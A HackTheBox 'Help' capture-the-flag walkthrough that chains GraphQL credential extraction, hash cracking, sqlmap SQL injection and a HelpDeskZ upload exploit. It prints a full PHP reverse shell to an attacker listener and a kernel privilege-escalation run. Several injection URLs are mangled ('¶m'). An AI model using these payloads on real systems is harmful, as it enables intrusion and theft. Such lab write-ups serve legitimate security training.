HackTheBox Help Writeup
Explore the fundamentals of cybersecurity in the Help Capture The Flag (CTF) challenge, a easy-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
10.10.10.121 help.htb
Script to add hosts automatically
ip="10.10.10.121"
domain="help.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
nmap -sCV help.htb
Nmap scan report for help.htb (10.10.10.121)
Host is up (0.052s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
HelpDeskZ and GraphQL Endpoint Discovery
Port Overview
- Port 80: Exposes a HelpDeskZ page in /support.
- Port 3000: Exposes a GraphQL endpoint.
Fuzzing GraphQL Endpoints
Using ffuf to fuzz the GraphQL endpoint:
ffuf -w /usr/share/dict/SecLists/Discovery/Web-Content/graphql.txt -u 'http://help.htb:3000/FUZZ' -X POST
Results:
graphql/schema.xml[Status: 500, Size: 61]graphql[Status: 500, Size: 61]graphql/schema.yaml[Status: 500, Size: 61]graphql/schema.json[Status: 500, Size: 61]graphql/console[Status: 500, Size: 61]
For more detailed information on exploiting GraphQL endpoints, refer to: HackTricks - GraphQL
Listing All Tables
To list all available tables in the GraphQL schema:
http://help.htb:3000/graphql/console?query={__schema{types{name,fields{name}}}}
Extracting User Credentials
Retrieving specific user information (username and password):
http://help.htb:3000/graphql/console?query={user{username,password}}
Response:
{
"data": {
"user": {
"username": "helpme@helpme.com",
"password": "5d3c93182bb20f07b994a7f617e99cff"
}
}
}
Brute Force the Hash
Use a hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 0 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat -m 0 /tmp/hash.txt --show
rm -rf /tmp/hash.txt
Fuzzing Port 80 for Additional Endpoints
Using ffuf to fuzz for endpoints on port 80:
ffuf -w /usr/share/dict/SecLists/Discovery/Web-Content/big.txt -u 'http://help.htb/FUZZ' -X POST
HelpDeskZ Foothold
Repository: HelpDeskZ GitHub
Authenticated Exploit: Exploit 41200
This seems to be the intended exploit, as it requires the discovered email and password, though it takes more time.
Create a new ticket at: http://help.htb/support/?v=submit_ticket
Submit an image or text file as an attachment.
Open the newly created ticket and inspect the attached file.
Copy the request in Burp Suite and send it to the repeater.
- The vulnerable endpoint should resemble:
/support/?v=view_tickets&action=ticket¶m[]=4Test the vulnerability by adding
and 1=1-- -orand 1=2-- -to the query.Use SQLMap to exploit the vulnerability:
- Edit the
re.reqfile to include the full domain (http://help.htb) in the GET request.
sqlmap -r $(pwd)/re.req --level 5 --risk 3 -p "param[]" --dbms=mysql --technique=B --batchFinded payload:
--- Parameter: param[] (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 AND 6987=6987 ---To dump the database, run:
sqlmap -r $(pwd)/re.req --level 5 --risk 3 -p "param[]" --dbms=mysql --technique=B --batch --dump --threads 10You will retrieve the SSH password.
ssh help@help.htb- Edit the
Unauthenticated Exploit: Exploit 40300
While this may not be the intended method, it is easier to perform.
nc -lvnp 9001
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '<vpn-ip>';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
#!/usr/bin/env python3
import hashlib
import time
import sys
import requests
print('Helpdeskz v1.0.2 - Unauthenticated shell upload exploit')
if len(sys.argv) < 3:
print("Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0]))
sys.exit(1)
helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
currentTime = int(time.time())
ext = fileName.split('.')[-1]
for x in range(0, 300):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext.encode('utf-8')).hexdigest()
url = helpdeskzBaseUrl + md5hash + ext
response = requests.head(url)
if response.status_code == 200:
print("Found!")
print(url)
sys.exit(0)
print("Sorry, I did not find anything")
Submit a revshell.php through the ticket submission functionality.
chmod +x upload
./upload http://help.htb/support/uploads/tickets/ revshell.php
cat /home/help/user.txt
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z to background the shell, then run:
stty size; stty raw -echo; fg
As the last step, set the terminal environment:
export TERM=xterm;
uname -a
cd /dev/shm
CVE-2017-16995
nano root.c
gcc root.c -o root
chmod +x root
./root
cat /root/root.txt
CVE-2017-5899
There are several alternatives for privilege escalation due to the outdated kernel on the system.
One that I haven’t tried but is likely to work is CVE-2021-22555.